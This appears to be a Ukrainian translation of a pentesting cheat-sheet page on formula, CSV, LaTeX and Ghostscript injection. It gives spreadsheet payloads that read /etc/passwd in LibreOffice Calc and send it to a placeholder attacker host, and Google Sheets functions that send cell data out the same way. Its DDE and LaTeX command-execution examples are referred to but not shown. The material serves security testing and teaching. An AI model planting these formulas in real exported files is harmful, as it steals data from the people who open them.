Formula/CSV/Doc/LaTeX/GhostScript Injection
Група з безпеки Try Hard
Внедрення формули
Інформація
Якщо ваш ввід відображається всередині файлів CSV (або будь-якого іншого файлу, який, ймовірно, буде відкритий в Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриє файл або коли користувач клацне на який-небудь посилання всередині аркуша Excel.
У сучасних часах Excel сповістить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому зловмисним діям. Тому до остаточного навантаження потрібно прикласти особливі зусилля з соціальної інженерії.
Гіперпосилання
Наступний приклад дуже корисний для виведення вмісту з кінцевого аркуша Excel та виконання запитів до довільних місць. Але для цього потрібно, щоб користувач натиснув на посилання (і погодився на попереджувальні вікна).
Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit
Уявіть порушення безпеки в системі управління записами студентів, яке було використано через атаку внедрення CSV. Основною метою атакуючого є компрометація системи, яку використовують вчителі для управління даними студентів. Метод включає в себе внедрення атакуючим шкідливого навантаження в додаток, зокрема, шляхом введення шкідливих формул в поля, призначені для даних студентів. Атака розгортається наступним чином:
Внедрення шкідливого навантаження:
Атакуючий надсилає форму даних студента, але включає формулу, яка часто використовується в електронних таблицях (наприклад,
=HYPERLINK("<malicious_link>","Click here")
).Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, яким керує атакуючий.
Експорт компрометованих даних:
Вчителі, не підозрюючи про компрометацію, використовують функціонал додатка для експорту даних в файл CSV.
При відкритті CSV-файлу все ще містить шкідливе навантаження. Це навантаження виглядає як клікабельне гіперпосилання в таблиці.
Запуск атаки:
Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
Після натискання чутливі дані (потенційно включаючи деталі з таблиці або комп'ютера вчителя) передаються на сервер атакуючого.
Логування даних:
Сервер атакуючого отримує та реєструє чутливі дані, відправлені з комп'ютера вчителя.
Атакуючий може використовувати ці дані для різних зловмисних цілей, подальше компрометування конфіденційності та безпеки студентів та установи.
RCE
Перевірте оригінальний пост для отримання додаткових деталей.
У конкретних конфігураціях або старих версіях Excel можна використовувати функцію під назвою Dynamic Data Exchange (DDE) для виконання довільних команд. Для використання цього необхідно увімкнути наступні налаштування:
Перейдіть до Файл → Опції → Центр довіри → Налаштування центру довіри → Зовнішній вміст та увімкніть Запуск сервера Dynamic Data Exchange.
При відкритті таблиці зі шкідливим навантаженням (і якщо користувач погоджується з попередженнями), навантаження виконується. Наприклад, для запуску додатка калькулятор, навантаження буде:
Додаткові команди також можуть бути виконані, наприклад, завантаження та виконання файлу за допомогою PowerShell:
Локальне включення файлів (LFI) в LibreOffice Calc
LibreOffice Calc може бути використаний для читання локальних файлів та виведення даних. Ось деякі методи:
Читання першого рядка з локального файлу
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
Виведення прочитаних даних на сервер, котрим керує зловмисник:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Виведення більше одного рядка:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
Ексфільтрація DNS (надсилання прочитаних даних як запити DNS на сервер DNS, котрим керує зловмисник):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets для ексфільтрації даних поза мережею (OOB)
Google Sheets пропонує функції, які можна використовувати для ексфільтрації даних поза мережею:
CONCATENATE: Додає рядки разом -
=CONCATENATE(A2:E2)
IMPORTXML: Імпортує дані зі структурованих типів даних -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Імпортує стрічки RSS або ATOM -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Імпортує дані з HTML таблиць або списків -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Імпортує діапазон комірок з іншої таблиці -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Вставляє зображення в комірку -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Впровадження LaTeX
Зазвичай сервери, які можна знайти в Інтернеті, що конвертують код LaTeX в PDF, використовують pdflatex
.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
--no-shell-escape
: Вимкнути конструкцію\write18{command}
, навіть якщо вона увімкнена в файлі texmf.cnf.--shell-restricted
: Те саме, що і--shell-escape
, але обмежено до 'безпечного' набору передбачених **команд (**На Ubuntu 16.04 список знаходиться в/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Увімкнути конструкцію\write18{command}
. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
Однак існують інші способи виконання команд, тому для уникнення RCE дуже важливо використовувати --shell-restricted
.
Читання файлу
Можливо, вам доведеться налаштувати ін'єкцію з обгортками, як [ або $.
Прочитати однорядковий файл
Прочитати багаторядковий файл
Запис файлу
Виконання команд
Вхідна команда буде перенаправлена на stdin, використовуйте тимчасовий файл, щоб отримати його.
Якщо ви отримуєте будь-яку помилку LaTex, розгляньте використання base64, щоб отримати результат без поганих символів
Міжсайтовий скриптінг
Від @EdOverflow
Впровадження Ghostscript
Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Посилання
Try Hard Security Group
Last updated